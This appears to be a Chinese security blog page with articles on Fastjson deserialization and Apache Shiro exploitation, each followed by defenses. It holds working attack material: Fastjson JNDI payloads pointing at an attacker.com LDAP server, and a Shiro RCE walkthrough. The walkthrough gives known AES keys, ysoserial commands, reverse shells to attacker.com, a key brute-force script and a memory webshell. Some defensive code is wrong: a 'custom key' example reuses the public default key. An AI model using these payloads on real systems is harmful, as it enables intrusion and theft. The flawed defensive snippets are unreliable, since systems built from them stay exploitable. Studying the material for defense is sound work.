  • CVE-2016-6662 MySQL配置文件注入漏洞
  • CVE-2016-6663/6664 MySQL权限提升漏洞
  • MySQL UDF提权技术详解
  • Percona MySQL审计插件
  • Oracle MySQL Critical Patch Updates

免责声明:本文仅供安全研究和学习交流使用,请勿用于非法用途。未经授权对他人系统进行渗透测试属于违法行为。使用本文内容造成的任何后果,作者不承担任何责任。

阅读全文 »

Fastjson反序列化漏洞深度剖析

发表于 2026-02-16 | 分类于 安全 , 漏洞分析 |

Fastjson反序列化漏洞深度剖析

摘要

Fastjson是阿里巴巴开源的Java语言开发的JSON处理器,因其高性能和易用性,在Java生态系统中被广泛使用。然而,Fastjson也因其反序列化机制,多次被爆出严重的安全漏洞,允许攻击者执行任意代码(RCE)。本文将深入剖析Fastjson反序列化漏洞的原理、攻击方式,并提供防御措施。

1. 什么是Fastjson?

Fastjson是一个Java库,用于在Java对象和JSON数据之间进行转换。它提供toJSONString()方法将Java对象序列化为JSON字符串,以及parseObject()和parseArray()等方法将JSON字符串反序列化为Java对象。

2. 反序列化漏洞概述

反序列化漏洞是指程序在处理不可信用户输入的反序列化数据时,由于没有对数据进行严格的校验,导致攻击者可以通过构造恶意的序列化数据,在目标系统上执行任意代码或造成其他危害。

3. Fastjson反序列化漏洞原理

Fastjson在反序列化时,特别是当使用parseObject(json_string, Object.class)或JSON.parse(json_string)等方法,并且JSON字符串中包含@type字段时,Fastjson会根据@type字段指定的类名去实例化对应的类。如果攻击者能够控制@type字段的值,并指定一个恶意类(例如,一个可以在构造函数或特定方法中执行命令的类),那么在Fastjson尝试实例化该类时,就会触发恶意代码的执行。

— 漏洞成因深度剖析 —

Fastjson反序列化漏洞的根本原因在于其核心的AutoType(自动类型)机制。为了在序列化和反序列化过程中保留Java对象的完整类型信息,Fastjson允许在JSON字符串中添加一个@type字段来指定对象的具体类型。当Fastjson进行反序列化操作时,如果检测到@type字段,它会:

  1. 动态加载类:使用Java的反射机制,根据@type字段中指定的完整类名(如com.sun.rowset.JdbcRowSetImpl),动态地加载对应的Class对象。
  2. 实例化对象:通过反射调用该类的无参构造函数(如果存在)来实例化一个对象。
  3. 调用Setter方法:将JSON中对应字段的值,通过反射调用该实例化对象的setter方法进行赋值。

问题在于,Fastjson在早期版本中默认信任并动态加载了来自不可信源的任意类。当攻击者能够控制@type字段的值时,他们就可以指定任何存在于应用classpath中的类。如果这个被指定的类在实例化或其setter方法被调用时会产生副作用(例如,触发JNDI查找、执行系统命令等),那么攻击者就可以利用这种机制,在反序列化过程中执行任意代码,从而造成远程代码执行(RCE)。

3.1 攻击链分析

典型的Fastjson反序列化攻击链如下:

  1. 寻找可利用的Gadget:攻击者需要找到一个在反序列化过程中会被调用,并且能够执行恶意操作的Java类和方法(称为Gadget)。这些Gadget通常是JDK自带的类或常用第三方库中的类。
  2. 构造恶意JSON数据:攻击者构造包含@type字段和恶意数据(如JNDI连接、URLClassloader等)的JSON字符串。
    {
        "your_key": {
            "@type": "com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName": "ldap://attacker.com:1389/Exploit",
            "autoCommit": true
        }
    }
    

    或(更直接的@type利用方式)

    {
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    {
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://attacker.com:1389/Exploit",
        "autoCommit":true
    }
    
  3. 发送恶意JSON数据:将构造好的JSON数据发送给使用Fastjson进行反序列化的目标应用。
  4. Fastjson反序列化触发:目标应用使用Fastjson对恶意JSON数据进行反序列化,识别到@type字段后,尝试加载并实例化指定的恶意类。
  5. 恶意代码执行:在恶意类的实例化或特定方法调用过程中,触发攻击者预设的恶意操作,例如通过JNDI加载远程类并执行其中的代码。

— 完整的调用链示例:基于com.sun.rowset.JdbcRowSetImpl的JNDI注入 —

为了更直观地理解Fastjson反序列化导致RCE的完整过程,我们以一个经典的JdbcRowSetImpl作为Gadget,结合JNDI注入,来详细剖析其内部调用链。

恶意JSON Payload:

{
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://attacker.com:1389/Exploit",
    "autoCommit": true
}

内部调用流程解析:

  1. Fastjson解析@type字段:当Fastjson接收到上述JSON字符串并尝试反序列化时,首先会解析到"@type": "com.sun.rowset.JdbcRowSetImpl"。
  2. 加载并实例化JdbcRowSetImpl:
    • Fastjson利用反射机制,通过Class.forName("com.sun.rowset.JdbcRowSetImpl")加载JdbcRowSetImpl类。
    • 随后,调用其无参构造函数new com.sun.rowset.JdbcRowSetImpl(),创建一个JdbcRowSetImpl实例。
  3. 调用Setter方法进行属性赋值:
    • Fastjson继续解析JSON中其余字段。遇到"dataSourceName": "ldap://attacker.com:1389/Exploit"时,会调用JdbcRowSetImpl实例的setDataSourceName("ldap://attacker.com:1389/Exploit")方法,将JNDI地址设置进去。
    • 遇到"autoCommit": true时,Fastjson会调用JdbcRowSetImpl实例的setAutoCommit(true)方法。
  4. 触发JNDI查找:
    • JdbcRowSetImpl类中的setAutoCommit(boolean)方法有一个特性:当其参数为true时,内部会隐式调用connect()方法。
    • connect()方法会尝试建立数据库连接。在建立连接之前,它会使用dataSourceName属性来查找数据源。由于dataSourceName被设置为ldap://attacker.com:1389/Exploit,connect()方法会触发一次JNDI查找,尝试从LDAP服务器attacker.com:1389获取名为Exploit的对象。
  5. 恶意LDAP服务器响应:
    • 攻击者在attacker.com:1389上搭建了一个恶意的LDAP服务器。当接收到目标应用的JNDI查找请求时,恶意LDAP服务器会返回一个恶意的Reference对象。
    • 这个Reference对象通常指向一个由攻击者控制的Web服务器上的Java类文件(例如,http://attacker.com/Exploit.class)。
  6. 加载并执行恶意类:
    • 目标应用在接收到恶意的Reference对象后,会根据其中指定的URL,尝试从攻击者的Web服务器下载Exploit.class文件。
    • 下载后,Java虚拟机(JVM)会加载并实例化这个Exploit类。如果Exploit类在其构造函数或静态代码块中包含恶意代码(如Runtime.exec("command")),则这些代码会在目标服务器上执行,从而实现RCE。

整个链条利用了Fastjson的AutoType机制,结合JDK内置类的特殊行为(Gadget)和JNDI服务的特性,最终实现了远程代码执行。这个过程无需程序显式地调用任何敏感方法,仅通过反序列化即可完成。

4. 历史版本漏洞及攻击Payload示例

本节将列举Fastjson历史上著名的漏洞版本及其对应的攻击Payload示例,展现其防护机制与绕过手法的演进。

4.1 Fastjson 1.2.24以下版本:JNDI注入的狂欢

在Fastjson 1.2.24及更早版本中,AutoType机制默认是开启的,并且没有任何黑名单或白名单的限制。这意味着攻击者可以指定任意存在于classpath中的类进行加载和实例化。结合Java的JNDI(Java Naming and Directory Interface)功能,攻击者可以轻易地利用一些JDK内置的、具备JNDI查找能力的类(Gadget)实现远程代码执行。

典型Payload示例:利用com.sun.rowset.JdbcRowSetImpl

{
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://[ATTACKER_LDAP_SERVER]:1389/Exploit",
    "autoCommit": true
}

说明:当Fastjson反序列化此Payload时,会实例化JdbcRowSetImpl对象,并通过setDataSourceName设置LDAP服务器地址,autoCommit设置为true会触发connect()方法,进而执行JNDI查找,最终从[ATTACKER_LDAP_SERVER]加载并执行恶意类。

4.2 Fastjson 1.2.25 - 1.2.47版本:AutoType黑名单与Bypass

为了修复1.2.24版本之前的RCE问题,Fastjson在1.2.25版本引入了AutoType的黑名单机制,试图阻止一些已知危险类的加载。然而,安全研究人员很快发现,通过构造特殊的JSON格式,可以绕过这些黑名单限制。

典型Payload示例:利用L前缀或[[绕过黑名单

例如,利用L前缀可以绕过对com.sun.rowset.JdbcRowSetImpl的直接限制:

{
    "@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
    "dataSourceName": "ldap://[ATTACKER_LDAP_SERVER]:1389/Exploit",
    "autoCommit": true
}

说明:Fastjson在进行黑名单校验时,可能只对完整的类名进行匹配,而Java类型描述符中的L<ClassName>;形式,或者[[<ClassName>形式(表示数组类型)能够成功绕过黑名单的校验逻辑,从而达到加载被禁类的目的。

4.3 Fastjson 1.2.48 - 1.2.68版本:更加严格的黑名单与更复杂的Bypass

随着绕过技术的不断出现,Fastjson不断加强黑名单的覆盖范围和匹配逻辑。但是,攻击者也找到了更多巧妙的Bypass方法,例如利用java.lang.Class来间接引用危险类,或者利用其他不在黑名单中的Gadget。

典型Payload示例:利用java.lang.Class间接引用

{
    "@type": "java.lang.Class",
    "val": "com.sun.rowset.JdbcRowSetImpl"
},
{
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://[ATTACKER_LDAP_SERVER]:1389/Exploit",
    "autoCommit": true
}

说明:这种方式先通过java.lang.Class类型将JdbcRowSetImpl加载到 JVM 的缓存中,之后第二次反序列化时,Fastjson 会直接从缓存中获取该类,从而绕过黑名单的检测。

4.4 Fastjson 1.2.68及更高版本:SafeMode与强力防护

从Fastjson 1.2.68版本开始,引入了SafeMode模式,这是Fastjson对反序列化漏洞防护的一个里程碑式改进。当启用SafeMode时:

  • 默认禁用AutoType:除非显式地通过白名单配置,否则所有的@type字段都将被忽略。这大大减少了攻击面。
  • 黑名单增强:即使在非SafeMode下,也持续更新并强化了内部黑名单。

SafeMode的重要性:启用SafeMode后,Fastjson反序列化攻击的难度大幅增加。攻击者需要发现新的、未被Fastjson内置黑名单覆盖且在白名单之外的Gadget才能进行攻击,这在实践中极为困难。强烈推荐所有Fastjson用户开启SafeMode。

4.5 Fastjson 1.2.80+版本:持续强化与默认安全

在Fastjson 1.2.80及更高版本中,Fastjson的安全性得到了进一步的强化,主要体现在:

  • 默认配置更安全:默认情况下,AutoType是关闭的,SafeMode可能被激活或其安全特性被集成。
  • 白名单机制优化:在需要开启AutoType的场景下,白名单机制得到了优化,要求配置更加严格和明确。
  • 持续漏洞修复:针对发现的任何潜在漏洞,官方团队会迅速发布补丁。

总而言之,Fastjson的防护策略从最初的无限制,到黑名单,再到默认禁用AutoType并引入SafeMode,以及后续持续的强化,展现了其在安全对抗上的演进。对于开发者而言,始终使用最新版本的Fastjson,并严格遵循其安全配置建议是至关重要的。

5. 防御与修补措施

Fastjson反序列化漏洞的危害巨大,但通过采取一系列有效的防御措施,可以显著降低受攻击的风险。以下是推荐的防御与修补策略:

5.1 升级Fastjson版本

这是最直接且最重要的防御措施。 Fastjson官方团队一直在积极修复已知漏洞并加强安全防护。因此,务必将项目使用的Fastjson库升级到最新稳定版本。新版本通常包含对历史漏洞的修复,并可能引入更安全的默认配置和机制(如增强的黑白名单、SafeMode等)。

5.2 开启SafeMode

从Fastjson 1.2.68版本开始引入的SafeMode模式是抵御反序列化攻击的强大武器。当启用SafeMode后,Fastjson会默认禁用AutoType,除非明确在白名单中配置的类才能被反序列化。这大幅收窄了攻击面。

如何开启SafeMode:

// 方法一:全局配置
JSON.DEFAULT_GENERATE_FEATURE |= SerializerFeature.WriteClassName.mask;
ParserConfig.getGlobalInstance().setSafeMode(true);

// 方法二:通过系统属性配置(推荐,无需修改代码)
// 在JVM启动参数中添加:-Dfastjson.parser.safeMode=true

// 方法三:通过fastjson.properties文件配置
// 在classpath下创建fastjson.properties文件,内容为:
// fastjson.parser.safeMode=true

5.3 禁用AutoType

如果你的业务场景不需要Fastjson的@type机制来处理多态对象,或者你对反序列化的类型有明确的控制,那么彻底禁用AutoType是一个非常安全的做法。禁用AutoType后,Fastjson将不会解析JSON中的@type字段,从而消除了一大类反序列化攻击的威胁。

如何禁用AutoType:

// 方法一:全局禁用(推荐,如果业务不需要AutoType)
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);

// 方法二:针对单个Parser禁用(Fastjson >= 1.2.68 支持 SafeMode)
ParserConfig config = new ParserConfig();
config.setSafeMode(true);
JSON.parseObject(jsonStr, TargetClass.class, config);

注意:在更高版本的Fastjson中,AutoType默认就是关闭的,无需额外禁用。但在旧版本中,显式禁用是必要的。

5.4 严格的输入校验和白名单机制

即使采取了上述措施,对来自外部的JSON输入进行严格的校验仍然是至关重要的纵深防御策略。

  • 结构校验:验证JSON的整体结构是否符合预期,例如字段数量、嵌套层级等。
  • 字段白名单:只允许接收业务逻辑中明确定义的字段,对于未知的字段直接拒绝或忽略。
  • 类型白名单:如果必须开启AutoType,务必配置严格的类型白名单。只允许反序列化业务所需的特定类,而不是任意类。

示例:配置白名单

// 假设com.example.User是允许反序列化的类
ParserConfig.getGlobalInstance().addAccept("com.example.User");
// 或者通过系统属性:-Dfastjson.parser.autoTypeAccept=com.example.User,com.example.Product

5.5 最小化权限原则

无论Fastjson漏洞是否存在,遵循最小化权限原则都是普适的安全实践。

  • JVM权限最小化:运行Java应用程序的JVM应使用具有最低必要权限的用户账户。
  • 系统权限最小化:即使攻击成功并执行了RCE,受限的用户权限也能在一定程度上限制攻击者在服务器上能进行的操作,例如无法写入关键文件、无法执行特权命令等。

5.6 安全编码实践

  • 避免使用不安全的JDK版本:某些老旧的JDK版本在RMI/LDAP等相关组件中存在已知漏洞(例如,JDK 6u45, 7u21之前的版本),这些漏洞可能与Fastjson的JNDI注入攻击结合,导致更严重的后果。建议升级JDK版本到最新稳定版。
  • 审慎引入第三方依赖:引入新的第三方库时,要评估其安全性。避免引入包含已知漏洞或不安全功能的库。
  • 代码审计:定期对使用Fastjson的代码进行安全审计,特别是那些处理外部输入的反序列化操作。
  • 异常处理:确保在Fastjson反序列化失败时,能够捕获并安全地处理异常,避免敏感信息泄露。

通过综合应用这些防御措施,可以构建一个相对安全的Fastjson使用环境,有效防范反序列化漏洞的攻击。

6. 总结与展望

6.1 总结

Fastjson作为Java生态中广泛使用的JSON处理库,其AutoType机制在提供便利性的同时,也为反序列化漏洞埋下了伏笔。从早期的无限制AutoType,到后续的黑名单、绕过技术,再到SafeMode的引入和AutoType默认禁用,Fastjson的安全性演进史,实则是一部与攻击者持续对抗的攻防史。其核心原理在于,当Fastjson被诱导动态加载并实例化不可信的、带有副作用的类时,即可造成远程代码执行(RCE),对系统安全构成严重威胁。理解这些漏洞的成因、攻击链和历史演变,对于开发者和安全研究人员而言至关重要。

6.2 展望

反序列化漏洞并非Fastjson独有,它是许多序列化库和协议面临的共性安全挑战。随着新的Java特性、新的第三方库和新的攻击技术不断涌现,新的Gadget链和绕过手法也可能随之浮现。未来的安全防护将更加注重以下几点:

  • 默认安全原则:库和框架应默认采用最安全的配置,将不安全的功能默认关闭,只有在明确需要且用户理解风险的情况下才允许开启。
  • 深度防御:不仅仅依赖于单个防护点(如黑名单),而应结合多层级的防御策略,包括:安全的编码实践、严格的输入校验、最小化权限原则、运行时安全监控等。
  • 持续安全更新:无论是Fastjson或其他任何库,及时关注官方的安全公告,并升级到最新版本,是维护系统安全不可或缺的一环。
  • 安全意识培养:提高开发人员的安全意识,使其在设计、编码和测试阶段就能识别并避免潜在的安全风险,从源头上减少漏洞的产生。

Fastjson反序列化漏洞的攻防实践告诉我们,信息安全是永无止境的对抗。唯有不断学习、不断进化,才能更好地保护我们的系统和数据。

阅读全文 »

Apache Shiro安全配置与漏洞利用

发表于 2026-02-16 | 分类于 Java安全 , Web安全 |

Apache Shiro安全配置与漏洞利用

Apache Shiro是一个功能强大且易于使用的Java安全框架,提供了认证、授权、加密和会话管理功能。然而,由于其设计缺陷和配置不当,Shiro成为了Java Web应用中最常见的攻击入口之一。本文将从攻击者视角全面梳理Shiro的各个攻击面,并给出对应的防御方案。


一、Apache Shiro基础

1.1 什么是Apache Shiro

Apache Shiro是一个轻量级的Java安全框架,主要功能包括:

  • Authentication(认证):验证用户身份,即登录
  • Authorization(授权):访问控制,判断用户是否有权限执行某操作
  • Session Management(会话管理):管理用户会话,即使在非Web环境下
  • Cryptography(加密):使用加密算法保护数据安全

1.2 Shiro核心组件

Subject(主体)
    ↓
SecurityManager(安全管理器)
    ↓
Realm(领域)
    ↓
数据源(数据库、LDAP等)

核心概念:

  • Subject:当前操作用户,可以是人也可以是第三方服务
  • SecurityManager:安全管理器,Shiro的核心,管理所有Subject
  • Realm:域,Shiro从Realm获取安全数据(用户、角色、权限)
  • Session:会话,Shiro提供的会话管理
  • Cryptography:加密组件,用于加密和解密

1.3 Shiro的RememberMe机制

Shiro的RememberMe功能允许用户在关闭浏览器后仍然保持登录状态。其工作流程:

  1. 用户登录时勾选”记住我”
  2. Shiro将用户信息序列化
  3. 使用AES加密序列化数据
  4. Base64编码后存储在Cookie中(rememberMe字段)
  5. 下次访问时,Shiro读取Cookie
  6. Base64解码 → AES解密 → 反序列化 → 恢复用户信息

这个机制是Shiro最大的安全隐患所在。


二、Shiro反序列化漏洞

2.1 Shiro-550(CVE-2016-4437)

这是Shiro历史上最严重的漏洞,影响范围极广。

漏洞原理: Shiro 1.2.4及之前版本使用硬编码的AES密钥加密RememberMe Cookie。攻击者可以:

  1. 使用已知密钥构造恶意序列化对象
  2. AES加密后Base64编码
  3. 发送恶意Cookie
  4. 服务端解密并反序列化,触发RCE

硬编码密钥:

// org.apache.shiro.mgt.AbstractRememberMeManager
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode(
    "kPH+bIxk5D2deZiIxcaaaA=="
);

受影响版本:

  • Apache Shiro < 1.2.5

漏洞利用:

利用工具:shiro_tool.jar 或 ShiroExploit

# 使用 ShiroExploit 进行漏洞检测
java -jar ShiroExploit.jar -t http://target.com/login

# 验证密钥是否存在
python3 shiro_exploit.py -u http://target.com/login -k "kPH+bIxk5D2deZiIxcaaaA=="

利用链选择:

利用链 依赖要求 适用场景 成功率
CommonsBeanutils1 无特殊依赖 通用 ★★★★★
CommonsCollections2/3/4 commons-collections 存在依赖时 ★★★★☆
Spring1/Spring2 Spring框架 Spring项目 ★★★☆☆
Jdk7u21 JDK < 7u21 老版本JDK ★★★☆☆

CommonsBeanutils1 为什么不需要依赖?

// Shiro 本身依赖了 commons-beanutils
// org.apache.shiro:shiro-core -> commons-beanutils:commons-beanutils

// 利用链原理:
// PriorityQueue.readObject() 
//   -> TransformingComparator.compare()
//     -> BeanComparator.compare()
//       -> PropertyUtils.getProperty()
//         -> TemplatesImpl.getOutputProperties()
//           -> 加载恶意字节码

ysoserial 生成 Payload:

# 基础用法
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/pwned" > payload.bin

# 结合 JRMP 监听器
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "calc.exe"

# 生成 base64 编码的 payload
java -jar ysoserial.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE=}|{base64,-d}|{base64,-d}|{bash,-i}" | base64

依赖检测方法:

# 1. 检查 lib 目录
ls WEB-INF/lib/ | grep -E "commons-collections|spring"

# 2. 错误回显判断
# 发送 payload 后,如果返回 500 且包含 ClassNotFoundException
# 说明缺少对应依赖

# 3. 使用 dnslog 探测
# 分别尝试不同利用链,看哪个能触发 DNS 请求

2.2 Shiro-721(CVE-2019-12422)

漏洞原理: Shiro 1.2.5-1.4.1 版本使用 AES-128-CBC 加密,密钥虽然不再硬编码,但使用了 Padding Oracle Attack(填充预言攻击)可以逆向破解密钥。

攻击条件:

  1. 需要任意一个有效的 rememberMe Cookie
  2. 服务端使用 CBC 模式加密
  3. 可以观察到不同的错误响应(解密失败 vs 反序列化失败)

利用过程:

# 使用 rememberMe 字段进行 Padding Oracle 攻击
# 逐步修改密文,观察响应差异
# 最终解密出 AES 密钥

受影响版本:

  • Apache Shiro 1.2.5 - 1.4.1

2.3 Shiro-778(CVE-2021-41303)

漏洞原理: Shiro 1.7.0 版本之前的 RegExPatternMatcher 存在缺陷,攻击者可以通过构造包含控制字符的路径绕过权限检查。

绕过方式:

/admin/user → 需要认证
/admin/user%0a → 绕过认证(%0a 是换行符)
/admin/user%0d → 绕过认证(%0d 是回车符)

根本原因: 正则表达式匹配时未对控制字符做过滤,导致匹配失败但实际访问成功。

受影响版本:

  • Apache Shiro < 1.7.1

2.4 其他高危漏洞

CVE-2022-40664 - 认证绕过

漏洞原理: Shiro 1.10.0 之前的版本,当使用 RegexRequestMatcher 时,可能导致身份验证绕过。

影响:

  • Apache Shiro < 1.10.0

修复方案: 升级到 1.10.0 或以上版本。

2.5 Shiro权限绕过漏洞

2.5.1 CVE-2020-11989

漏洞原理: Shiro 与 Spring 集成时,URL 解析差异导致权限绕过。

绕过方式:

正常访问:/admin/user → 需要认证
绕过路径:/admin/user/ → 绕过认证
          /admin/user/. → 绕过认证

根本原因:

  • Shiro:PathMatchingFilter 使用 endsWith 匹配
  • Spring:@RequestMapping 会规范化路径

2.3.2 CVE-2020-13933

漏洞原理: 编码问题导致的权限绕过。

绕过方式:

/admin/user  → 需要认证
/admin/%3buser → 绕过认证(;编码为%3b)
/admin/%2euser → 绕过认证(.编码为%2e)

2.3.3 CVE-2020-17510

漏洞原理: Shiro 1.5.0-1.5.3 在处理 URL 路径时的缺陷。

绕过方式:

/admin/user → 需要认证
/admin/user/..;/index → 绕过认证

完整利用流程示例:

场景:某系统使用 Shiro 1.2.4,发现 rememberMe=deleteMe

# Step 1: 确认存在 Shiro
➜ curl -s -o /dev/null -w "%{http_code}" http://target.com/login -H "Cookie: rememberMe=test"
200
# 查看响应头包含 rememberMe=deleteMe,确认存在 Shiro

# Step 2: 使用工具检测密钥
➜ python3 shiro.py -u http://target.com/login
[+] 正在检测密钥...
[+] 发现密钥: kPH+bIxk5D2deZiIxcaaaA==

# Step 3: 尝试执行命令
➜ python3 shiro.py -u http://target.com/login -k "kPH+bIxk5D2deZiIxcaaaA==" -c "whoami"
[+] 目标系统: Linux
[+] 命令执行成功: www-data

# Step 4: 获取 Shell
# 本地监听
➜ nc -lvvp 4444

# 发送反弹 shell payload
➜ python3 shiro.py -u http://target.com/login -k "kPH+bIxk5D2deZiIxcaaaA==" \
  -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"

# Step 5: 注入内存马(可选)
# 通过反序列化注入 Filter 型内存马
# 访问: http://target.com/?cmd=whoami

三、Shiro漏洞实战利用

3.1 信息收集

识别 Shiro 应用:

  1. Cookie 特征:
    Set-Cookie: rememberMe=deleteMe
    
  2. 响应头特征:
    X-Powered-By: Shiro
    
  3. URL 特征:
    • /login
    • /logout
    • /unauthorized

检测脚本:

import requests

def detect_shiro(url):
    headers = {
        'Cookie': 'rememberMe=test'
    }
    resp = requests.get(url, headers=headers, allow_redirects=False)
    
    if 'rememberMe=deleteMe' in str(resp.headers):
        print(f"[+] {url} 可能存在 Shiro 漏洞")
        return True
    return False

3.2 密钥爆破

常见密钥列表:

Shiro 官方默认密钥(1.2.4及之前):

kPH+bIxk5D2deZiIxcaaaA==

网上公开的常见密钥(收集自GitHub、漏洞复现文章):

wGiHplamyXlVB11UXWol8g==
4AvVhmFLUs0KTA3Kprsdag==
fCq+/xW488hMTCD+cmJ3aQ==
1QWLxg+NYmxraMoxAXu/Iw==
Z3VucwAAAAAAAAAAAAAAAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
U3ByaW5nQmxhZGUAAAAAAA==
MWJjNmQ3MjEzMzZjODM2NQ==
ZGVmYXVsdF9jaXBoZXJrZXk=
2itfHvFqDZF7Htc1vT1wcQ==
QJpM8T7rSZAGXvF0QwKoQA==

密钥收集工具:

# 使用 fofa 语法搜索 Shiro 应用
title="Shiro" && body="rememberMe"

# 使用 nuclei 批量检测
nuclei -l urls.txt -t shiro-detection.yaml

# 使用 xray 主动扫描
xray webscan --plugins shiro --url http://target.com

爆破脚本:

import base64
import requests
from Crypto.Cipher import AES

def check_key(url, key):
    # 构造序列化 payload(简单的 DNSLog)
    payload = b'\xac\xed...'  # ysoserial 生成的 payload
    
    # AES 加密
    cipher = AES.new(base64.b64decode(key), AES.MODE_CBC, iv=b'1234567890123456')
    encrypted = cipher.encrypt(payload)
    
    # 发送请求
    cookie = base64.b64encode(encrypted).decode()
    resp = requests.get(url, cookies={'rememberMe': cookie})
    
    # 根据响应判断
    if 'deleteMe' not in resp.headers.get('Set-Cookie', ''):
        return True
    return False

3.3 回显与内存马

命令回显方法:

  1. Tomcat 回显:利用 Tomcat 全局存储 Response 对象
  2. Spring 回显:利用 RequestContextHolder 获取当前请求
  3. 字节码修改:修改关键类的 toString 方法

内存马注入:

// Filter 型内存马
Filter filter = new Filter() {
    @Override
    public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) {
        String cmd = req.getParameter("cmd");
        if (cmd != null) {
            Runtime.getRuntime().exec(cmd);
        }
        chain.doFilter(req, resp);
    }
};
// 注册到 FilterChain

四、防御方案

4.1 升级版本

推荐版本:

  • Apache Shiro >= 1.7.1(修复已知所有绕过漏洞)
  • Apache Shiro >= 1.5.3(修复 Padding Oracle)
  • Apache Shiro >= 1.2.5(修复默认密钥)

Maven 依赖升级:

<dependency>
    <groupId>org.apache.shiro</groupId>
    <artifactId>shiro-core</artifactId>
    <version>1.12.0</version>
</dependency>

4.2 密钥安全

生成随机密钥:

// 生成 128/256 位随机密钥
byte[] keyBytes = new byte[16]; // 128位
new SecureRandom().nextBytes(keyBytes);
String base64Key = Base64.encodeToString(keyBytes);
System.out.println("AES Key: " + base64Key);

配置密钥:

# shiro.ini
[main]
# 使用自定义密钥
rememberMeManager.cipherKey = kPH+bIxk5D2deZiIxcaaaA==

# 或者使用 KeyGenerator
credentialsMatcher.hashIterations = 1024
credentialsMatcher.hashAlgorithmName = SHA-256

4.3 关闭 RememberMe

如果不需要记住我功能,建议关闭:

@Bean
public SecurityManager securityManager() {
    DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager();
    // 禁用 RememberMe
    securityManager.setRememberMeManager(null);
    return securityManager;
}

4.4 反序列化防护

使用白名单:

// 配置反序列化过滤器
@Bean
public ShiroFilterFactoryBean shiroFilterFactoryBean() {
    ShiroFilterFactoryBean filter = new ShiroFilterFactoryBean();
    
    // 配置安全过滤器
    Map<String, String> filterMap = new HashMap<>();
    filterMap.put("/**", "authc");  // 全部需要认证
    filter.setFilterChainDefinitionMap(filterMap);
    
    return filter;
}

RASP 防护:

// 在 JVM 层面拦截反序列化
Instrumentation instrumentation = ...;
instrumentation.addTransformer(new ClassFileTransformer() {
    @Override
    public byte[] transform(...) {
        // 拦截 ObjectInputStream
        // 检查反序列化类是否在白名单
    }
});

4.5 URL 规范化

统一使用 Spring 的 AntPathMatcher:

@Bean
public ShiroFilterFactoryBean shiroFilterFactoryBean() {
    ShiroFilterFactoryBean filter = new ShiroFilterFactoryBean();
    
    // 使用 Spring 的路径匹配器
    PathMatchingFilterChainResolver resolver = new PathMatchingFilterChainResolver();
    resolver.setPathMatcher(new AntPathMatcher());
    
    return filter;
}

严格 URL 配置:

# 不要使用通配符配置敏感路径
/admin/** = authc, roles[admin]

# 应该明确配置
/admin/user = authc, roles[admin]
/admin/config = authc, roles[admin]

4.6 WAF 防护规则

ModSecurity 规则示例:

# 检测 Shiro 反序列化攻击
SecRule REQUEST_HEADERS:Cookie "@contains rememberMe=" \
    "id:1001,phase:1,deny,status:403,msg:'Shiro Deserialization Attack Detected'"

# 检测非法 rememberMe Cookie 长度
SecRule REQUEST_HEADERS:Cookie "@rx rememberMe=[A-Za-z0-9+/]{1000,}" \
    "id:1002,phase:1,deny,status:403,msg:'Suspicious Shiro Cookie Length'"

# 检测路径遍历绕过
SecRule REQUEST_URI "@rx /(\\x2e|%2e|%252e)" \
    "id:1003,phase:1,deny,status:403,msg:'Path Traversal Detected'"

Nginx Lua 防护:

-- 检测 rememberMe Cookie
if ngx.var.http_cookie then
    local rememberMe = ngx.var.http_cookie:match("rememberMe=([^;]+)")
    if rememberMe and #rememberMe > 500 then
        -- 记录日志并拦截
        ngx.log(ngx.ERR, "Shiro attack detected from " .. ngx.var.remote_addr)
        ngx.exit(403)
    end
end

4.7 日志监控与告警

需要监控的关键日志:

// 记录所有 rememberMe 反序列化尝试
log.warn("RememberMe cookie deserialization attempted from IP: {}", 
         request.getRemoteAddr());

// 记录失败的 URL 访问
log.warn("Unauthorized access attempt to: {} from IP: {}", 
         request.getRequestURI(), request.getRemoteAddr());

ELK 告警规则:

{
  "query": {
    "bool": {
      "must": [
        { "match": { "message": "rememberMe" }},
        { "range": { "@timestamp": { "gte": "now-5m" }}}
      ]
    }
  }
}

Splunk 搜索:

# 统计 rememberMe 异常请求
index=web source=*access.log* "rememberMe" 
| stats count by clientip, uri 
| where count > 10 
| table clientip, uri, count

五、代码审计检查点

5.1 检查清单

□ Shiro 版本是否 >= 1.7.1
□ rememberMe 是否配置了随机密钥
□ 是否存在硬编码密钥
□ URL 配置是否严格
□ 是否禁用了不必要的功能
□ 反序列化是否有白名单限制

5.2 审计工具

Maven 依赖检查:

# 检查 Shiro 版本
mvn dependency:tree | grep shiro

# 使用 OWASP 检查漏洞
mvn org.owasp:dependency-check-maven:check

源代码审计:

# 搜索硬编码密钥
grep -r "cipherKey" --include="*.java" --include="*.ini" --include="*.xml"

# 搜索 rememberMe 配置
grep -r "rememberMe" --include="*.java" --include="*.ini"

# 搜索危险配置
grep -r "setRememberMeManager" --include="*.java"
grep -r "CookieRememberMeManager" --include="*.java"

IDEA 插件推荐:

  • SonarLint:实时检测安全漏洞
  • OWASP Dependency-Check:检查依赖漏洞
  • SpotBugs:静态代码分析

六、应急响应

6.1 入侵检测

检查是否已被攻击:

# 1. 检查日志中是否有异常的 rememberMe
zgrep -i "rememberMe" /var/log/tomcat*/access_log* | tail -100

# 2. 检查是否包含可疑的 Base64 字符串(长度超过500)
awk -F'rememberMe=' '/rememberMe=/{print $2}' /var/log/tomcat*/access_log* | \
  awk -F';' '{print $1}' | awk 'length > 500'

# 3. 检查系统是否存在后门
find /tmp /var/tmp -name "*.sh" -o -name "*.jsp" -mtime -1 2>/dev/null

# 4. 检查网络连接
netstat -antp | grep ESTABLISHED
